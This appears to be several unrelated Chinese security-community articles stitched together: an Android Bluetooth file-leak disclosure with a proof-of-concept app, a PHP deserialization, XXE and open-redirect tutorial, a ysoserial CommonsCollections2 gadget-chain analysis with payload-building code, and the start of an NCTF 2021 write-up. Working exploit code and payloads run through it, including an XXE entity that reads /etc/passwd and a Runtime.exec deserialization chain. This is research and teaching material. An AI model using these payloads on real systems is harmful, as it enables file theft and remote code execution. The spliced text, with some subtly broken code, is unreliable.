* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
### 0x02 漏洞缘起
在发现这个漏洞之前，我浏览了Android[
2017年2月的安全公告](https://source.android.com/security/bulletin/2017-02-01)，其中两个并排的高危信息泄露漏洞引起了我的注意：
* CVE-2017-0420: AOSP邮件中的信息泄露漏洞
* CVE-2017-0414: AOSP短信中的信息泄露漏洞
查看这两个信息漏洞的补丁注释，分别为
* Don't allow file attachment from /data through GET_CONTENT
* Thirdparty can
attach private files from "/data/data/com.android.messaging/"
directory to the messaging app。
涵义非常清晰，似乎邮件和短信App均遗漏了对发送的文件进行验证，本地攻击者可以添加App私有目录的数据文件发送出去，从而破坏了Android沙箱所提供的应用数据相互隔离的安全防护功能。
这两个漏洞可以归纳为一类 **针对具有对外发送或共享功能App的攻击**
，Android中会不会还有类似的功能具有类似的漏洞？另外，注意到上述两个漏洞的发现者并非一人，只是巧合地同时出现在2月份的安全公告之中，发现者似乎还没有意识到这类攻击的通用性，也许真的还没有搜刮干净？
### 0x03 攻击面——蓝牙的信息分享
除了短信、邮件，很容易想到蓝牙也是Android一个很重要的信息对外发送出口。通常，我们选择一个文件的分享按钮，选择蓝牙，就可以触发蓝牙的文件发送功能，这是通过蓝牙App暴露的BluetoothOppLauncherActivity所实现。该Activity根据传入的`Intent.ACTION_SEND`或`Intent.ACTION_SEND_MULTIPLE`，启动一个线程处理单个文件或多个文件的对外发送。主要代码如下
/*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
那么，传入蓝牙App私有数据试试！先寻找bluetooth所拥有的私有文件，
angler:/ # find /data -user bluetooth -exec ls -al {} \; 2> /dev/null
可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象，`file:///data/user_de/0/com.android.bluetooth/databases/btopp.db`和`file:///data/misc/bluedroid/bt_config.conf`
很快可以写出PoC
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}
### 0x04 进一步分析
真的那么简单吗？编译PoC，运行却抛出了安全异常！
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)
原来触发了FileUriExposed错误，出于安全考虑，Android SDK 23以上就不能在Intent中传递file://
Uri，见[官方说明：](https://developer.android.com/about/versions/nougat/android-7.0-changes.html?hl=zh-cn)
对于面向 Android 7.0 的应用，Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file://
URI。如果一项包含文件 URI 的 intent 离开您的应用，则应用出现故障，并出现 FileUriExposedException
异常。要在应用间共享文件，您应发送一项 content:// URI，并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider
类。
似乎宣判了死刑！心有不甘，继续分析BluetoothOppLauncherActivity后面的文件处理流程，调用链为saveSendingFileInfo-->
generateFileInfo，查看generateFileInfo函数，我们发现其实是支持传入file:// URI的。
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
}
if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;
进一步查阅相关资料发现，原来FileUriExposed错误只是SDK引入的一项安全机制，仅仅是为了防止Intent的接收方访问发起方的私有文件。但是在我们这种攻击场景下，我们是要Intent的接收方BluetoothOppLauncherActivity访问其自己的私有文件，而且查看上述代码，既有对file://
URI的支持，也缺乏对文件是否属于私有目录的验证，Why not?
既然是SDK
23以后引入的安全机制，那么我们把build.gradle中的targetSdkVersion从原先的25改为23，重新编译运行，就可以将Bluetooth
App的私有文件通过蓝牙发送出去，而这些文件原本连用户均无法获取，这就打破了Android沙箱的应用间数据隔离机制。至此，大功告成！
### 0x05 时间线
* 2017.02.13: 提交Google
* 2017.03.01: 漏洞确认，初始评级为高
* 2017.06.05: 补丁发布
* 2017.06.12: 漏洞公开 | 社区文章 |
# 12.PHP反序列化
## 1.PHP反序列化概述
在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
## 2.PHP反序列化漏洞
根据序列化的原理
首先我们在本地写一个serialize.php文件，进行序列化
代码如下
<?php
class S{
var $test = "<script>alert(/xss/)</script>";
}
$b = new S();
echo serialize($b);
?>
在本地程序执行，得到序列化的结果
O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}
将这一结果填入到具有反序列化漏洞的网站中，成功触发xss漏洞
# 13.XXE
## 1.XXE -xml external entity injection
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
## 2.XXE漏洞
首先写入一个合法的xml文档
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>
发现成功解析
这个xml文档payload中&gfzq;是用来将gfzq这个实体进行调用，gfzq实体成功在前端回显。
外部实体，”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML
实体传递自己构造的恶意值，是处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
外部实体payload
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>
成功读取到文件
<?xml version = "1.0"?>
<!DOCTYPE gfzq [
<!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>
# 14.URL重定向
## 1.不安全的url跳转
不安全的url跳转
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
\-->钓鱼,即攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
## 2.不安全的url跳转
首先点击页面上的链接，观察url
直接修改url为<https://www.baidu.com进行访问>
成功跳转到百度
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# ysoserial CommonsCollections2 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上篇文章详细分析了CommonsCollections1利用链的基础技术和构造，本节继续学习CC2链的构造和利用，将会涉及到新的知识点和反序列化知识。CC2链构造巧妙，但其中有很多坑点，也有很多细节，目前大佬们都对此比较清楚，我从刚入门的角度去分析此链的巧妙之处。
想了半天关于这篇文章怎么写才能把CC2这条链的艺术性表现的更完美，CC2不同于之前CC1，它依赖4.0版本的commons-collections，因此最后命令执行函数也有了大的变化。为了更清晰的其利用思路，打算从以下顺序展开。
1. 命令执行新思路
2. 序列化入口与命令执行的链接
3. Payload构造方法
4. 期间遇到的各种问题
## 0x01 命令执行新思路
在分析命令执行点之前，先把本次分析使用到的Java基础技术学习一下。在生成命令执行类的时候用到了三大技术，其一是通过反射操作类中的属性，其二是通过Javassist在Java字节码中插入命令执行代码，其三是通过ClassLoader加载修改好的字节码。
### 0x1 利用反射操作类
在分析CC1利用链的时候有讲到反射的作用和基本概念，从CC2开始就大量的使用到了反射的特性，如果对这个感兴趣的话可以看下ysoserial工具中ysoserial.payloads.util。该工具库继承了关于反射操作的所有代码，编写的非常规范，本次也是借鉴这个代码进行学习。
回顾之前介绍的Class类（如下图所示），它是保存类信息的类，在每个类生成之前会与Class对象进行双向绑定。可以通过这个Class对象a2获取到关于它关联类B的相关方法类和属性类。
**设置对象属性**
假设一个场景，将obj的name属性设置为value
Field field = null;
class clazz = obj.getClass();
try{
field = clazz.getDeclaredField(fieldName);//获取名为fieldName的属性对象
field.setAccessible();//设置访问权限
}
catch(){//如果有异常捕获，就从父类中寻找
if (clazz.getSuperclass() != null)//如果父类不为空，从父类中获取属性对象
field = clazz.getSuperclass().getDeclaredField(fieldName);
}
field.set(obj,value);//把obj中的该属性值设置为value
### 0x2 利用Javassist操作字节码
**1\. 简单理解**
JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库
. 他允许开发者自由的在一个已经编译好的类中添加新的方法，或者是修改已有的方法。
> 对Javassist简单的理解，我们使用java反射机制动态的获取和修改对象中的成员变量，同时使用Javassist动态的获取和修改对象中的方法。
**2\. 如何使用**
一般的操作如下
package com.reflect;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class test4 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();//获取类搜索路径（从默认的JVM类搜索路径搜索）
CtClass clazz = pool.get(test4.class.getName());//将test4类放入hashtable并返回CtClass对象
String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
clazz.makeClassInitializer().insertBefore(cmd);//在static前面插入
clazz.makeClassInitializer().insertAfter(cmd);//在static后面插入
String Name = "hehehe";
clazz.setName(Name);//设置类名
clazz.writeFile("./a.class");//写入文件
}
}
CtClass( compile-time class , 编译时类信息 ) 是一个 Class 文件在代码中的抽象表现形式 , 用于处理类文件
.在pool.get获取过对象类之后，就可以对字节码进行操作了，setName为设置字节码中类名，writeFile为将字节码保存到文件中。
这段代码的意义在于makeClassInitializer函数在类中生成静态方法，并insert添加一段恶意代码，如下图所示，目前来看insertBefore和insertAfter的作用为Static代码块的前后分别插入。
### 0x3 加载字节码
我们都知道java可以编译成字节码给jvm虚拟机去执行，但是本文涉及到的另一个技术就是在java代码中加载并执行字节码。可以配合Javassist类先读取字节码，再修改字节码，之后加载字节码。
不论是Java上层代码还是JVM加载字节码都是使用的 **ClassLoader**
类，这个类在我们学习Java代理时也有见过，从名字也能看出他是负责类加载的。具体的使用方法如下：
首先去实现ClassLoader抽象类
class U extends ClassLoader{
U(ClassLoader c){//构造方法的ClassLoader类型参数
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);//加载字节码
}
}
//在test4类的最后把字节码写入文件改为如下代码
final byte[] classBytes = clazz.toBytecode();//获取字节码
new U(test4.class.getClassLoader()).g(classBytes).newInstance();//加载字节码并创建对象
执行代码最终会执行命令，弹出计算器。
### 0x4 命令执行点分析
讲了这么基础知识后分析命令执行点就会轻松很多，首先我们要明白一点，CC1中的命令执行链在这里是不能用的，因为CC2针对的额CommonCollection4，CC1里的一些类发生了很大的变化导致不能反序列化。下面一起看下CC2命令执行的设计思路。
命令执行点一般是 **构造Payload的起点** ，是 **反序列化的终点** 。
Javassist可以将类加载成字节码格式并能对其中的方法进行修改，那么这就很符合序列化的特征（指的是将类加载成字符串格式），因为这样就可以把这个序列化后的字符串给其他类的变量赋值了，如果那个类有将这个变量中的字节码给实例化成对象，那么就会触发其中的static的方法。这个也是CC2的整个利用思路，这么说起来很是枯燥，我们结合ysoserial中的编写方法，给大家梳理一下整个逻辑。
**1\. 创建TemplatesImpl对象**
为什么是这个类，这里就有讲究了，在TemplatesImpl类中存在加载字节码并创建实例的函数
代码中283行生成了抽象类ClassLoader的子类对象，为的是加载java字节码
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
_bytecodes是一个二维数组，其中存放着要加载的java字节码
字节码生成之后，通过newInstance函数创建实例
**2\. 生成带命令执行的Java字节码**
这一步是要生成Java字节码并填充在TemplatesImpl对象的_bytecodes属性里。
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(StubTransletPayload.class.getName());//搜索并获取类
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
((CtClass) clazz).makeClassInitializer().insertAfter(cmd);//在静态代码中插入恶意命令
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
这里的StubTransletPayload类是自己构造的，并且一定要继承抽象类AbstractTranslet，该类的代码如下
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
**3\. 动态修改TemplatesImpl对象属性**
生成过Java字节码之后，就要将其填充至TemplatesImpl对象属性中
setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes});//最关键的一步，填充字节码
setFieldValue(templates, "_name", "Pwnr");//必须要填，之后会有检查
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
`_tfactory` 字段是可选的，如果这里不赋值也不会有任何事情发生
### 0x5 调用关系
整理出了在反序列化触发时的调用链，如下图所示
## 0x02 反序列化入口与命令执行点的连接
基本的命令执行点已经清楚了，本小节从命令执行点开始分析如何与反序列化readobject进行关联挂钩。在本节小结的时候会用正常的利用链挖掘思路分析该链的完整构造。
### 0x1 Templates命令执行链
在生成TemplatesImpl对象之后就通过反射的方法，把其中的`_class`,`_name`属性修改成对应的值。
一但触发执行newTransformer函数，整个调用链就会执行。下面的问题就是谁调用该函数。首先就要看一看反序列化的入口函数readObject了
### 0x2 反序列化入口函数
这次反序列化的对象是PriorityQueue这个类，其readObject方法如下
可以直观的看出在该函数中`s.defaultReadObject()`调用默认的方法，利用readInt读取了数组的大小，接着通过`s.readObject()`读取Queue中的元素，因为在反序列化的时候队列元素也被序列化了
所以如果队列中的元素是构造好的反序列化利用链，那么就可以直接触发该链执行命令。但这个毫无意义，继续分析readObject最终会调用heapify函数，该函数将无序数组
queue 的内容还原为二叉堆( 优先级队列 )
该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法会调用siftDown，这里的节点其实就是Queue队列元素
之后会根据是否拥有比较器，进入不同的比较方法中
比较器的赋值是在PriorityQueue的构造方法中进行的，所以这部分可控
之后进入siftDownUsingComparator函数调用比较器的compare方法
分析到这看起来不能和命令执行链连接在一起，画个图记录一下
接下来就要找个链把他们两个连接在一起，可以发现反序列化readObject最后调用的是comparator的compare方法，并且把队列元素也传递进去了，如果队里的元素中有构造好的TemplatesImpl对象，那么只需寻找一个符合条件的comparator比较器，其中的compare方法调用参数的newTransformer方法就可以实现连接了。最后分析起到承上启下作用的TransformingComparator比较器。
### 0x3 承上启下之TransformingComparator比较器
看下该比较器的compare方法，如下图所示
令人欣慰的是这个方法调用了我们最熟悉的transform函数，因为this.transformer是通过构造函数调用的，所以可以人为构造，让其调用任意方法，只需传入相对应的对象即可，这不正是我们需要的函数类型嘛
于是完整的链就成了下图所示：
### 0x4 小结
推理下整个利用过程吧
1. 发现PriorityQueue的readObject可以调用构造方法参数中的比较器参数的compare方法
2. 接着发现TransformingComparator比较器可以利用compare方法以及其构造参数transformer调用任意对象的任意方法
3. 又因为利用的是CommonsCollections4，所以之前的命令执行链不能使用，所以寻找了个新的命令执行点，只需调用该对象的newTransformer方法即可触发
4. 新的命令执行点包含对Java字节码修改、加载、创建对象、反射等操作，分析起来也挺有意思
## 0x03 Payload构造方法
讲了这么多的原理，终归是要到实践上的，本小节主要介绍构造Payload的具体方法和步骤。
### 0x1 构造命令执行链
在第一节就已经介绍了其构造方式，这里直接使用包装好的函数
final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
这个templates对象不着急被使用，根据上节分析应该是要当作PriorityQueue的元素。
### 0x2 生成PriorityQueue对象
需要注意的是在生成InvokerTransformer对象的时候指定其调用方法名为Object所有类的父类方法toString为了保证在构造反序列化链的过程中不报错
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
正如之前分析的一样，将transfomer作为TransformingComparator的构造方法将TransformingComparator作为invokerTransformer的构造方法。
### 0x3 添加元素并修改属性
现在还没实现命令执行链的装链操作，有两种方法都可以实现
**1\. 方法一 占位元素**
关于为什么要add这个问题最后统一解答
queue.add(1);
queue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
其中有一步修改transformer对象的iMethodName值，是因为要触发TransformingComparator的newTransformer方法，调用命令执行链。最后将队列的0号元素改为命令执行链入口类。
**2\. 方法二 直接添加**
直接templates到队列中也是可行的，最后也要修改iMethodName的值。
queue.add(templates);
queue.add(new String("n"));
// switch method called by comparator
setFieldValue(transformer, "iMethodName", "newTransformer");
### 0x4 测试
分别调用序列化和反序列化函数
byte[] serializeData=serialize(queue);
unserialize(serializeData);
函数的实现如下
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
## 0x04 问题总结
### 1\. 为什么生成Java字节码时要继承AbstractTranslet类
做了一个实验如果把继承去掉如下图所示，在invokeTransformer执行newTransformer的时候会报错
其原因在于判断了其父类的名字是否等于`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`，
### 2\. 为什么要设置templates的_name变量
同样在执行newTransformer方法的时候会有对该变量的检测
如果_name为空就会return，所以必须设置该变量
### 3\. 为什么queue要事先add两个元素
因为queue要通过add的方式向其中的队列添加元素，其目的是反序列化的时候queue中才能有值当做compare函数的参数，从而触发命令执行。一个行吗？答案是不行的不能触发PriorityQueue中的siftDown堆排序。
那么为什么要用1占位，因为在add的同时也要对其做比较和排序，这一点zhouliu
师傅的文章写得已经很详细了<https://xz.aliyun.com/t/1756#toc-3>
。我再补充一点，add的同时可以把templates给加进去，可以是Error，String等类型但是不能是Integer类型，为什么呢？
通过调试我们可以看到当写成如下代码的时候，Queue中的元素顺序就变了
queue.add(new Integer(1));
queue.add(templates);
PriorityQueue为优先队列，会对其中添加进去的元素按照toString规则排序，所以如果想通过直接add的方式构造payload那么尽量避免templates变量和Integer同时出现。
### 4\. 为什么PriorityQueue的queue 使用transient修饰后还可以反序列化
zhouliu师傅也分析过这个问题，我在上面写`反序列化入口函数`这一小节的时候也分析了粗略分析了这个问题。
再次看下PriorityQueue的writeObject代码
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
`s.writeObject(queue[i])`正是把queue中的元素写入了序列化字符串中，通过`queue[i] =
s.readObject()`的方式赋值给了queue变量。Java是允许对象字节实现序列化方法的，以此来实现对自己的成员控制。
### 5\. 为什么InvokerTransformer的方法名一开始不能为newTransformer
这个是因为在add的时候会触发compare方法，所以如果一开始InvokerTransformer的方法名为newTransformer就会在构造序列化的时候触发利用链，而且另一个元素如果没有该方法名就会报错发生异常退出。
## 0x05 总结
又是一个收货多多的周末，之后会继续分析剩下的利用链，总结其中的知识点以及坑点。
## 0x06 参考文章
站在巨人的肩膀上看世界，以下文章都给了很大的启发
<https://xz.aliyun.com/t/1756>
<https://www.guildhab.top/?p=6961> | 社区文章 |
# NCTF/NJUPTCTF 2021 部分 WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
> 参赛对象 ：分为校内队伍和校外队伍，其中校内队伍指由南京邮电大学在读学生所组成的队伍。
>
> 参赛要求 ：本次比赛以队伍形式报名参赛，每队至多四人。
>
> 报名开始日期 ：11月22日
>
> 报名截止日期 ：11月26日
>
> 比赛时间 ：11月27日9：00——11月28日21：00
>
> 举行方式 ：线上比赛
>
> <https://nctf.h4ck.fun>
一年一度的 NCTF 又来了。是南邮的校赛啦。
> 可以回顾一下去年的 Writeup：
>
> [CTF | 2020 NCTF/NJUPTCTF
> 部分WriteUp](https://miaotony.xyz/2020/11/23/CTF_2020NJUPTCTF/)
看到校外队伍今年前六有钱（京东卡）拿，前十就有礼品了，想起来去年还水了个第六，应该还是挺有希望的。
于是就拉上几个小伙伴，组了个 **猫鼠大战** 战队，报名来玩了。
说实话也就是随意看看题，喵喵主要看的 Misc 和 Web 题目，Pwn 和 Reverse 是队友做的。
题目好难，嘤嘤嘤。
## Misc
### 签到
复制粘贴
`NCTF{Welcome_to_NCTF_2021!}`
### Hex酱的秘密花园
> 题目描述:
>
>
> 我们可爱的Hex酱又有了一个强大的功能，可以去执行多行语句惹~
> 但是为了防止有些居心叵测的人，我们专门把括号，单双引号，都过滤掉，噢对不准色色，所以也不准出现h哟~
>
> Ubuntu Python3.6.9
>
> 快去找Hex酱(QQ:2821876761)私聊吧
>
>
> 附件：
>
>
> https://nctf.slight-wind.com/misc/hex/runner.py
> https://attachment.h4ck.fun:9000/misc/hex/runner.py
>
`runner.py`
import sys
from base64 import b64decode
code = sys.argv[1]
try:
data = b64decode(code.encode()).decode()
except:
exit(0)
for c in 'h"\'(':
if c in data: exit(0)
exec(data)
u1s1，过滤了其他的都好说，多多少少在 Flask SSTI 或者其他用到 python 命令执行绕过的场合都见的很多了。然而把小括号 `(`
过滤了，那就真没见过了。
比赛的时候网上找了一堆，都说过滤了小括号就执行不了函数了，所以基本无解。
于是想了一天都没想到要怎么绕过这个，唉，还是太菜了……（或者说需要对 python 了解比较多，且要有点脑洞才行了
难道真的没法绕过嘛？不是的。
这里要用到的是 python 里的函数装饰器，也就是 `@` 用法，`@` 符号就是装饰器的语法糖。
[廖雪峰的 python
教程——装饰器](https://www.liaoxuefeng.com/wiki/1016959663602400/1017451662295584)
def log(func):
print("%s is running" % func.__name__)
func()
@log
def foo():
print("i am foo")
